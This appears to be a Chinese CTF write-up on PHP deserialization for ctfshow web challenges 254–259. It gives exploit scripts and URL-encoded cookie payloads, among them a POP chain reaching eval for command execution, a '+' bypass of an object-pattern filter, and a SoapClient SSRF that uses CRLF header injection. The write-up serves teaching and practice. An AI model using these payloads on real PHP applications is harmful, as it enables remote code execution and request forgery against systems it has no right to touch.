php 反序列化
php 反序列化
1.0序列化与反序列化
序列化:将对象转化为数组或者字符串形式
反序列化:将字符串或数组转化成对象格式
php与序列化和反序列化有关的函数
serialize()
将一个对象转化为一个字符串
unserialize()
将一个字符串转化为一个对象
我们使用序列化操作的目的是方便数据传输
1.1 漏洞产生原因
在php中存在魔术方法对对象进行一些操作,其他编程语言中也有类似的函数,比如构造函数或者析构函数之类,
如果我们对此类函数利用不当,就会有可能产生反序列化漏洞。
我们看一下serialize函数对对象处理的结果吧
O:8:"demotest":3{s:4:"name";s:6:"xiaodi";s:3:"sex";s:3:"man"'s:3"age";s:2:"29";}
O表示obiect 也就是对象 8表示类名有8个字符组成。后面的字符串表示类名 3表示字段数量,后面的s表示string
类型
1.2 ctfshow web 254
没啥技术含量,甚至都和反序列化无关,直接阅读代码按代码逻辑就能获得flag
1.3 ctfshow web 255
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
和上一题有了一点区别
我们先用serialize函数去输出一个该类的序列化结果:O:11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;}
我们需要注意的是,发现整个检测代码中没有更改isVip的值的过程,所以我们需要手动对序列化后isVip的值进行
更改,以便通过检测,具体的更改就是将最后的0改为1
O:11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;}
需要注意的是,我们通过cookie传递数据时需要预先进行url编码,编码后可以在浏览器中写入cookie,也可也抓
包然后在header中写入cookie
我们先采用第二种方式来构造payload:
Cookie : user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
1.4 ctfshow web 256
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
和上一题没什么区别,只不过是要求username 和password的值不能相等罢了
<?php
class ctfShowUser
{
public $username = '111';
public $password = '222';
public $isVip = true;
public function checkVip()
{
return $this->isVip;
}
public function login($u, $p)
{
return $this->username === $u && $this->password === $p;
}
public function vipOneKeyGetFlag()
{
if ($this->isVip) {
global $flag;
echo "your flag is " . $flag;
} else {
echo "no vip, no flag";
}
}
}
$a = new ctfShowUser();
echo serialize($a);
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A3%3A%22aaa%22%3Bs%3A8%3A%22password%22%3Bs%3A3%3A%22bbb%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
获得序列化的对象:O:11:"ctfShowUser":3:{s:8:"username";s:3:"111";s:8:"password";s:3:"222";s:5:"isVip";b:1;}
进行url编码:O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A3%3A%22111%22%3Bs%3A8%3A%22password%22%3Bs%3A3%3A%22222%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
然后在cookie中以user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A3%3A%22111%22%3Bs%3A8%3A%22password%22%3Bs%3A3%3A%22222%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
的形式发送数据包即可获得flag
ctfshow web 257
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
和之前的题有了较大的差别,第一时间似乎没什么思路,但是我们看见了eval函数,考虑rce,仔细观察整个代
码,发现存在一条利用链,ctfShowUser类中析构方法可以调用class属性的getInfo()方法,我们让class属性变为
一个对象即可调用该对象的getInfo()方法,下面两个类都有getInfo()方法,但我们想要实现rce只能去使用
backDoor类的方法,然后我们更改code值,就可以实现rce。
根据此原理我们可以写出exp:
<?php
class ctfShowUser
{
private $class;
public function __construct()
{
$this->class = new backDoor();
}
}
class backDoor
{
public $code = "eval(\$_GET['a']);";
}
$a = new ctfShowUser();
echo serialize($a);
O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A17%3A%22eval%28%24_GET%5B%27a%27%5D%29%3B%22%3B%7D%7D
获得获得序列化后的对象,传入cookie后在url中传入username password 和a,前两者都无所谓,通过控制第三
者,传入a=system('tac flag.php');从而获得flag
这里需要强调的一点:直接给code传入"$_GET['a']"
是不行的,因为存在$使其会被解析为变量
如果我们进行转义\$_GET['a']
则在代码处遇到第一次eval进行解析,只会单纯解析为字符串,并不会当成代码
去解析,我们在exp这样传入eval(\$_GET['a']);
再加上一个eval,使得其对\$_GET['a']
进行二次解析,第
一次将其解析为字符串$_GET['a']
,第二次将其作为可执行代码进行执行,从而达到代码执行的效果。
ctfshow web 258
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
本题的过滤进行了加强,对该正则表达式的内容进行了过滤:/[oc]:\d+:/i
- 字符类
[oc]
: 方括号[]
定义了一个字符类,表示匹配其中任何一个字符。这里的字符类包含两个字符:o
和c
。因此,这个部分会匹配字符串中出现的o
或c
。 - 冒号
:
字符:
在正则表达式中作为一个普通字符出现,直接匹配字符串中的冒号。 \d+
:\d
是一个元字符,代表任何十进制数字(相当于[0-9]
)。+
是一个量词,表示前面的元素(这里是\d
)至少出现一次,可以连续出现多次。因此,\d+
会匹配一个或多个连续的数字。
但在php中,对于序列化后的串中都含有字符+:+数字,之前的串就无法顺利使用,这时候应该怎么办呢?
在php中还有个特性,那就是在序列化后的串,比如O:8:
部分,在数字前加+
不会影响解析,因此本题就有了绕
过方式,即在序列化后的字符串中,匹配:加数字的形式,然后在数字前加+进行替换,之后再进行url编码即可,
其余部分和上一题一样
给出exp:
<?php
class ctfShowUser{
public $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code="eval(\$_GET['a']);";
}
$ctf=serialize(new ctfShowUser());
$ctf=str_replace('O:', 'O:+',$ctf);
echo $ctf;
echo urlencode($ctf);
但需要注意,本题类中字段的访问修饰符发生变换,由private变为public,如果同一个对象,拥有相同的字段,
但字段的访问修饰符不同,序列化后的结果也会不同,所以本题的exp和之前有区别,这需要注意。
ctfshow web 259
本题目录下有两文件 index.php有:
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
flag.php有:
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
先对flag.php的一些内容进行解释,exoloade是一个分割字符串的函数,用法为:explode(字符,被分割的字符
串)
, 会将第二个参数传入的字符串以第一个传入的参数为分割符,分割成好几部分,然后返回一个存储分割后
的结果的数组,HTTP_X_FORWARDED_FOR存储了从客户段上传输数据过来的一个个代理转发节点的ip
我们的目的是让flag.php将flag写入flag.txt。所以我们就要去绕过其检测,最关键的是绕过
HTTP_X_FORWARDED_FOR的检测,试着改下HTTP_X_FORWARDED_FOR去访问,发现不行,应为使用了
Cloudflare,伪造无效,我们再观察index.php文件,发现其调用了一个不存在的方法getFlag()这时候就可以考虑使
用php原生类进行ssrf了
本题需要用到php原生类,php原生类就是php自带的类,不需要用户去定义就能直接使用,但想要使用php原生
类必须先再php.ini中将其打开,本题是默认打开的。
我们这里学习一下这篇博客:这个
<?php
$client=new SoapClient(null,array('uri'=>'127.0.0.1','location'=>'http://127.0.0.1:9999/flag.php'));
$client->AAA();
?>
对于内置类SoapClient的构造函数:
第一个参数 :$wsdl
: 必须参数,指定 SOAP 服务的 WSDL(Web Services Description Language,Web 服务
描述语言)文档的 URL。WSDL 文件定义了服务的接口、操作、数据类型等信息,使客户端能够自动发现并使用
服务提供的功能。如果提供有效的 WSDL 地址,SoapClient
将基于 WSDL 自动构建请求并解析响应。
第二个参数中uri用于指定服务的命名空间(namespace)或服务的基 URI(base URI)
location用于对其发起请求,利用此参数来进行ssrf操作,访问flag.php
我们对本地进行9999端口监听,查看一下header:
POST /flag.php HTTP/1.1
Host: 127.0.0.1:9999
Connection: Keep-Alive
User-Agent: PHP-SOAP/7.0.12
Content-Type: text/xml; charset=utf-8
SOAPAction: "127.0.0.1#AAA"
Content-Length: 372
我们可以通过控制user-agent来构造post数据
我们再进一步
<?php
$ua="test\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$client=new SoapClient(null,array('uri'=>'127.0.0.1','location'=>'http://127.0.0.1:9999/flag.php','user_agent'=>$ua));
echo urlencode(serialize($client));
?>
我们为什么要指定文件类型是application/x-www-form-urlencoded呢?因为该类型下数据是以键值对形式提交
的,符合我们要求,至于后面的长度限制,则是为了使得服务器忽略后面的内容,只保留token的值。
看一下:
POST /flag.php HTTP/1.1
Host: 127.0.0.1:9999
Connection: Keep-Alive
User-Agent: test
X-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1//因为本地没加函数
Content-Type:application/x-www-form-urlencoded
Content-Length: 13
token=ctfshow//长度13 下面的丢弃
Content-Type: text/xml; charset=utf-8
SOAPAction: "127.0.0.1#AAA"
Content-Length: 372
符合预期,然后我们只需要序列化然后将构造的对象传入即可